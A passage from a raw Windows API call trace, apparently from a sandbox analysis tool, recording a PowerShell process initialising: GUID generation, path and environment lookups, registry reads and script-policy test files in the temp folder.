[4]=0x53, [5]=0x31, [6]=0x5, [7]=0x79))) returned 0x0 [0184.214] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0xcc0a0094, Data2=0x471f, Data3=0x4284, Data4=([0]=0x89, [1]=0x3c, [2]=0x8e, [3]=0xad, [4]=0xd2, [5]=0x92, [6]=0xed, [7]=0x46))) returned 0x0 [0184.214] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x8bd46b38, Data2=0xdbbb, Data3=0x476f, Data4=([0]=0xad, [1]=0x22, [2]=0xfc, [3]=0x81, [4]=0x22, [5]=0x33, [6]=0x86, [7]=0x56))) returned 0x0 [0184.217] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0xf8b83ffc, Data2=0x8c8b, Data3=0x4964, Data4=([0]=0xb3, [1]=0xc5, [2]=0x7a, [3]=0x5e, [4]=0x35, [5]=0x2a, [6]=0x4, [7]=0xcd))) returned 0x0 [0184.219] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x8418ee75, Data2=0x1e40, Data3=0x42af, Data4=([0]=0x9e, [1]=0xce, [2]=0xe7, [3]=0x44, [4]=0x78, [5]=0xe3, [6]=0x3b, [7]=0x9e))) returned 0x0 [0184.219] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x7f311cdc, Data2=0xc421, Data3=0x41e8, Data4=([0]=0x88, [1]=0xe8, [2]=0xc2, [3]=0x20, [4]=0xb3, [5]=0x13, [6]=0xb5, [7]=0xdf))) returned 0x0 [0184.219] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0xfeb14908, Data2=0x2cc0, Data3=0x4801, Data4=([0]=0xab, [1]=0x2b, [2]=0xd3, [3]=0xfd, [4]=0x59, [5]=0x62, [6]=0xc7, [7]=0x36))) returned 0x0 [0184.219] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x7a3264bd, Data2=0xd27a, Data3=0x4bfd, Data4=([0]=0x87, [1]=0x23, [2]=0x3b, [3]=0x6f, [4]=0xa8, [5]=0xff, [6]=0x97, [7]=0xf2))) returned 0x0 [0184.219] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0xdab26ba4, Data2=0x906d, Data3=0x49c3, Data4=([0]=0xbb, [1]=0x7d, [2]=0x4a, [3]=0x10, [4]=0x95, [5]=0xe9, [6]=0xe6, [7]=0xc6))) returned 0x0 [0184.219] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x8a5bbe7d, Data2=0xa663, Data3=0x499f, Data4=([0]=0xb6, [1]=0x36, [2]=0xf2, [3]=0x39, [4]=0x9, [5]=0x5d, [6]=0x5, [7]=0xdf))) returned 0x0 [0184.219] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x47990f36, Data2=0xfd8b, Data3=0x4840, Data4=([0]=0x96, [1]=0x43, [2]=0xec, [3]=0xda, [4]=0x54, [5]=0x6, [6]=0xde, [7]=0xa8))) returned 0x0 [0184.219] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0xb7acb5e1, Data2=0x8e75, Data3=0x4b3f, Data4=([0]=0xbe, [1]=0xae, [2]=0x81, [3]=0x4f, [4]=0xc2, [5]=0xdb, [6]=0x36, [7]=0x5f))) returned 0x0 [0184.220] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0xe0c73c98, Data2=0x68c9, Data3=0x4da5, Data4=([0]=0xb5, [1]=0x3b, [2]=0x8c, [3]=0x4e, [4]=0x86, [5]=0xa5, [6]=0x72, [7]=0x9d))) returned 0x0 [0184.220] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x84966085, Data2=0x9afd, Data3=0x4b3d, Data4=([0]=0x98, [1]=0xaf, [2]=0xfc, [3]=0x8b, [4]=0x6e, [5]=0x83, [6]=0x8, [7]=0x99))) returned 0x0 [0184.220] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0xc2c1bdd6, Data2=0x8c92, Data3=0x4918, Data4=([0]=0xa6, [1]=0xf0, [2]=0x94, [3]=0xa0, [4]=0xe3, [5]=0x54, [6]=0x6, [7]=0x64))) returned 0x0 [0184.220] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x8a72bc77, Data2=0x2884, Data3=0x4b3e, Data4=([0]=0x9b, [1]=0xf8, [2]=0x5f, [3]=0x33, [4]=0x4e, [5]=0xb1, [6]=0xc9, [7]=0x13))) returned 0x0 [0184.220] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0xe3221f3f, Data2=0xe2ae, Data3=0x47fa, Data4=([0]=0xa4, [1]=0x25, [2]=0xb9, [3]=0x55, [4]=0x6d, [5]=0x9e, [6]=0x7c, [7]=0x64))) returned 0x0 [0184.220] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0xdce1c, Data2=0xba1e, Data3=0x4aa5, Data4=([0]=0xb3, [1]=0xa1, [2]=0x37, [3]=0xb2, [4]=0xd1, [5]=0x1c, [6]=0xd4, [7]=0x93))) returned 0x0 [0184.220] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x7e81503e, Data2=0x419f, Data3=0x446e, Data4=([0]=0x89, [1]=0xac, [2]=0xf5, [3]=0xbd, [4]=0x16, [5]=0xda, [6]=0x74, [7]=0x44))) returned 0x0 [0184.355] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x621d64f8, Data2=0x93b8, Data3=0x4060, Data4=([0]=0xa7, [1]=0xa7, [2]=0x44, [3]=0x89, [4]=0x7f, [5]=0xc6, [6]=0x5f, [7]=0xfe))) returned 0x0 [0184.356] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x6d78a928, Data2=0xb465, Data3=0x4d0d, Data4=([0]=0x96, [1]=0xb2, [2]=0x1b, [3]=0xf6, [4]=0x5a, [5]=0x99, [6]=0x49, [7]=0xa2))) returned 0x0 [0184.356] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0xf75ffa6f, Data2=0xd41e, Data3=0x4cf4, Data4=([0]=0x9b, [1]=0x67, [2]=0xcc, [3]=0x19, [4]=0x2a, [5]=0xf0, [6]=0xa9, [7]=0x92))) returned 0x0 [0184.790] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0xe71a7c84, Data2=0xe759, Data3=0x467c, Data4=([0]=0xb3, [1]=0xf5, [2]=0x52, [3]=0xe2, [4]=0xef, [5]=0xe7, [6]=0xe8, [7]=0xff))) returned 0x0 [0184.790] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0xd0414c72, Data2=0x70fe, Data3=0x45e8, Data4=([0]=0x80, [1]=0x15, [2]=0x76, [3]=0xc, [4]=0xb2, [5]=0xda, [6]=0xeb, [7]=0x21))) returned 0x0 [0184.792] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x72d97259, Data2=0xcbd1, Data3=0x4457, Data4=([0]=0xa3, [1]=0xe4, [2]=0x15, [3]=0x1e, [4]=0x5a, [5]=0x7a, [6]=0x9, [7]=0x8a))) returned 0x0 [0184.792] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0xc94b3c64, Data2=0xff10, Data3=0x493b, Data4=([0]=0x97, [1]=0xc3, [2]=0x91, [3]=0xca, [4]=0x5d, [5]=0xff, [6]=0xe3, [7]=0x6a))) returned 0x0 [0184.792] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x24bc904c, Data2=0x6a5a, Data3=0x4f61, Data4=([0]=0x96, [1]=0x56, [2]=0x9e, [3]=0x8d, [4]=0xba, [5]=0x39, [6]=0x7b, [7]=0xd5))) returned 0x0 [0184.792] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x99323895, Data2=0xcc1d, Data3=0x40d4, Data4=([0]=0xbb, [1]=0x8c, [2]=0x11, [3]=0x3f, [4]=0x58, [5]=0x38, [6]=0xed, [7]=0x6))) returned 0x0 [0184.792] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0xbbde0ee, Data2=0xfa54, Data3=0x45b6, Data4=([0]=0x97, [1]=0x69, [2]=0xce, [3]=0x2, [4]=0x44, [5]=0xa6, [6]=0xb2, [7]=0xd6))) returned 0x0 [0184.792] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x59f933f7, Data2=0x4e2c, Data3=0x4a29, Data4=([0]=0x9e, [1]=0xfd, [2]=0x17, [3]=0x12, [4]=0x4b, [5]=0xa2, [6]=0xe0, [7]=0xbf))) returned 0x0 [0184.794] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x1a81c391, Data2=0x7397, Data3=0x450f, Data4=([0]=0xbb, [1]=0x6a, [2]=0x28, [3]=0xfd, [4]=0x9c, [5]=0x67, [6]=0xbb, [7]=0x5c))) returned 0x0 [0185.451] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0xfbb9e40, Data2=0x66ca, Data3=0x4846, Data4=([0]=0x91, [1]=0x45, [2]=0x32, [3]=0x9c, [4]=0xd2, [5]=0xa5, [6]=0xbd, [7]=0x90))) returned 0x0 [0185.454] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x72350423, Data2=0xfee9, Data3=0x469c, Data4=([0]=0x89, [1]=0x89, [2]=0x77, [3]=0x23, [4]=0xc6, [5]=0xcb, [6]=0x3d, [7]=0x7b))) returned 0x0 [0185.454] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x8a18e9e4, Data2=0x496c, Data3=0x4e90, Data4=([0]=0xb6, [1]=0x90, [2]=0x8e, [3]=0x60, [4]=0x8c, [5]=0x55, [6]=0x52, [7]=0x11))) returned 0x0 [0185.454] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x9fe84fac, Data2=0xba3, Data3=0x40d4, Data4=([0]=0xba, [1]=0x64, [2]=0xef, [3]=0xf, [4]=0x73, [5]=0x7, [6]=0x5c, [7]=0x28))) returned 0x0 [0185.454] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0xce070507, Data2=0xe718, Data3=0x4d63, Data4=([0]=0xa3, [1]=0x20, [2]=0x9c, [3]=0xae, [4]=0xdd, [5]=0x84, [6]=0x7a, [7]=0x34))) returned 0x0 [0185.454] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x78e1296a, Data2=0x981b, Data3=0x4af7, Data4=([0]=0x9a, [1]=0xab, [2]=0xbf, [3]=0xc2, [4]=0x6c, [5]=0x9d, [6]=0x9a, [7]=0xd9))) returned 0x0 [0185.454] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x31ffbe5f, Data2=0x4fb1, Data3=0x4927, Data4=([0]=0x91, [1]=0x18, [2]=0x66, [3]=0x6c, [4]=0x35, [5]=0x86, [6]=0xaa, [7]=0x28))) returned 0x0 [0185.454] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x1bcaf3d5, Data2=0x96c, Data3=0x4cb1, Data4=([0]=0x9f, [1]=0xa5, [2]=0x8f, [3]=0xc0, [4]=0x4d, [5]=0x9b, [6]=0xa6, [7]=0x23))) returned 0x0 [0185.454] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0xa29c6bdd, Data2=0x3839, Data3=0x438c, Data4=([0]=0x90, [1]=0xae, [2]=0x96, [3]=0xa0, [4]=0x8f, [5]=0xd, [6]=0x56, [7]=0xea))) returned 0x0 [0185.454] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x6bd51b79, Data2=0x7eba, Data3=0x42d8, Data4=([0]=0x90, [1]=0xd5, [2]=0x35, [3]=0x10, [4]=0x91, [5]=0xda, [6]=0xdf, [7]=0x65))) returned 0x0 [0185.455] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x193d93bc, Data2=0xa70b, Data3=0x41b0, Data4=([0]=0xa3, [1]=0x5a, [2]=0xcd, [3]=0x3b, [4]=0xdb, [5]=0x0, [6]=0x1e, [7]=0x7d))) returned 0x0 [0185.460] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x5c6bf06e, Data2=0xbcc8, Data3=0x4e1e, Data4=([0]=0xa5, [1]=0x5e, [2]=0x50, [3]=0xda, [4]=0x9c, [5]=0x34, [6]=0xb9, [7]=0x6c))) returned 0x0 [0185.498] CoCreateGuid (in: pguid=0x5bfdaba048 | out: pguid=0x5bfdaba048*(Data1=0x6f185f5c, Data2=0x6d8, Data3=0x499f, Data4=([0]=0xa3, [1]=0xef, [2]=0xe1, [3]=0x3b, [4]=0xe3, [5]=0xf5, [6]=0xf6, [7]=0x21))) returned 0x0 [0185.661] GetLogicalDrives () returned 0x4 [0185.661] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5 [0185.661] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x5, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0185.664] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5 [0185.664] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x5, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0185.664] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0185.666] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1ef6e3d9f90 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0185.671] CoTaskMemAlloc (cb=0x20c) returned 0x1ef70475ae0 [0185.671] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1ef70475ae0, nSize=0x104 | out: lpBuffer="") returned 0x0 [0185.671] CoTaskMemFree (pv=0x1ef70475ae0) [0185.673] CoTaskMemAlloc (cb=0x20c) returned 0x1ef704758c0 [0185.673] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1ef704758c0, nSize=0x104 | out: lpBuffer="좧翹") returned 0x0 [0185.673] CoTaskMemFree (pv=0x1ef704758c0) [0185.673] CoTaskMemAlloc (cb=0x20c) returned 0x1ef70476360 [0185.673] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1ef70476360, nSize=0x104 | out: lpBuffer="좧翹") returned 0x0 [0185.673] CoTaskMemFree (pv=0x1ef70476360) [0185.679] CoTaskMemAlloc (cb=0x20c) returned 0x1ef70476360 [0185.679] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1ef70476360, nSize=0x104 | out: lpBuffer="좧翹") returned 0x0 [0185.679] CoTaskMemFree (pv=0x1ef70476360) [0185.697] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0185.717] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0185.717] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0185.719] GetFileAttributesW (lpFileName="C:\\WINDOWS" (normalized: "c:\\windows")) returned 0x10 [0185.719] GetFileAttributesW (lpFileName="C:\\WINDOWS" (normalized: "c:\\windows")) returned 0x10 [0185.719] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0185.719] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0185.720] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0185.720] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0185.720] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0185.720] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0185.728] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0185.764] ReportEventW (hEventLog=0x1ef707a0008, wType=0x4, wCategory=0x4, dwEventID=0x190, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x1ef00352848*="Available", lpRawData=0x1ef003526b0) returned 1 [0185.782] CoTaskMemAlloc (cb=0x20c) returned 0x1ef70473b00 [0185.783] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x1ef70473b00, nSize=0x104 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf [0185.783] CoTaskMemFree (pv=0x1ef70473b00) [0185.784] GetCurrentProcessId () returned 0x1328 [0185.785] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfdabd4a8 | out: phkResult=0x5bfdabd4a8*=0x668) returned 0x0 [0185.785] RegQueryValueExW (in: hKey=0x668, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfdabd4f8, lpData=0x0, lpcbData=0x5bfdabd4f0*=0x0 | out: lpType=0x5bfdabd4f8*=0x1, lpData=0x0, lpcbData=0x5bfdabd4f0*=0x56) returned 0x0 [0185.786] RegQueryValueExW (in: hKey=0x668, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfdabd4f8, lpData=0x1ef0035f860, lpcbData=0x5bfdabd4f0*=0x56 | out: lpType=0x5bfdabd4f8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfdabd4f0*=0x56) returned 0x0 [0185.786] RegCloseKey (hKey=0x668) returned 0x0 [0185.829] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1ef6e3d9f90 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0185.830] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0185.831] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0185.831] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0185.831] GetFileAttributesW (lpFileName="C:\\WINDOWS" (normalized: "c:\\windows")) returned 0x10 [0185.831] GetFileAttributesW (lpFileName="C:\\WINDOWS" (normalized: "c:\\windows")) returned 0x10 [0185.832] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0185.832] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0185.832] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0185.832] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0185.832] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0185.832] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0185.837] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0185.980] EtwEventRegister () returned 0x0 [0185.980] EtwEventSetInformation () returned 0x0 [0185.981] EnumerateTraceGuidsEx () returned 0x0 [0185.981] GetCurrentProcessId () returned 0x1328 [0185.987] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Winevt\\Publishers\\{816ebd75-f7ab-59c0-e2f0-bddfeed66ac2}", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfdabb6d8 | out: phkResult=0x5bfdabb6d8*=0x0) returned 0x2 [0186.002] GetCurrentProcessId () returned 0x1328 [0186.272] CoTaskMemAlloc (cb=0x20c) returned 0x1ef70474380 [0186.272] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1ef70474380, nSize=0x104 | out: lpBuffer="좧翹") returned 0x0 [0186.272] CoTaskMemFree (pv=0x1ef70474380) [0186.898] EtwEventWriteTransfer () returned 0x0 [0186.899] GetCurrentProcessId () returned 0x1328 [0186.899] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x1328) returned 0x5e0 [0186.899] GetProcessTimes (in: hProcess=0x5e0, lpCreationTime=0x1ef003cc728, lpExitTime=0x1ef003cc730, lpKernelTime=0x1ef003cc738, lpUserTime=0x1ef003cc740 | out: lpCreationTime=0x1ef003cc728, lpExitTime=0x1ef003cc730, lpKernelTime=0x1ef003cc738, lpUserTime=0x1ef003cc740) returned 1 [0186.900] CloseHandle (hObject=0x5e0) returned 1 [0186.908] CoTaskMemAlloc (cb=0x20c) returned 0x1ef70472c20 [0186.908] GetSystemDirectoryW (in: lpBuffer=0x1ef70472c20, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0186.908] CoTaskMemFree (pv=0x1ef70472c20) [0186.908] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0186.908] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0186.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfdabd490) returned 1 [0186.908] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x5bfdabd570 | out: lpFileInformation=0x5bfdabd570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5450597b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5450597b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5450597b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x112d0)) returned 1 [0186.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfdabd450) returned 1 [0186.920] WldpGetLockdownPolicy () returned 0x10000000 [0186.921] CoTaskMemAlloc (cb=0x20c) returned 0x1ef70475260 [0186.921] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1ef70475260 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23 [0186.921] CoTaskMemFree (pv=0x1ef70475260) [0186.921] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0186.921] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x24, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x23 [0186.921] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0186.921] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x24, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x23 [0186.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfdabd460) returned 1 [0186.921] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp"), fInfoLevelId=0x0, lpFileInformation=0x5bfdabd540 | out: lpFileInformation=0x5bfdabd540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xbb59ddaf, ftLastAccessTime.dwHighDateTime=0x1d6747d, ftLastWriteTime.dwLowDateTime=0xbb59ddaf, ftLastWriteTime.dwHighDateTime=0x1d6747d, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0186.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfdabd420) returned 1 [0186.935] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_gbvqg2du.z4l.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0186.935] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_gbvqg2du.z4l.ps1", nBufferLength=0x49, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_gbvqg2du.z4l.ps1", lpFilePart=0x0) returned 0x48 [0186.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfdabd2a0) returned 1 [0186.935] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_gbvqg2du.z4l.ps1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_gbvqg2du.z4l.ps1"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x670 [0186.936] GetFileType (hFile=0x670) returned 0x1 [0186.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfdabd210) returned 1 [0186.936] GetFileType (hFile=0x670) returned 0x1 [0186.940] WriteFile (in: hFile=0x670, lpBuffer=0x1ef003cf6d0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x5bfdabd308, lpOverlapped=0x0 | out: lpBuffer=0x1ef003cf6d0*, lpNumberOfBytesWritten=0x5bfdabd308*=0x1, lpOverlapped=0x0) returned 1 [0186.941] CloseHandle (hObject=0x670) returned 1 [0186.942] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_hby2evjc.ztp.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0186.942] GetFullPathNameW (in: 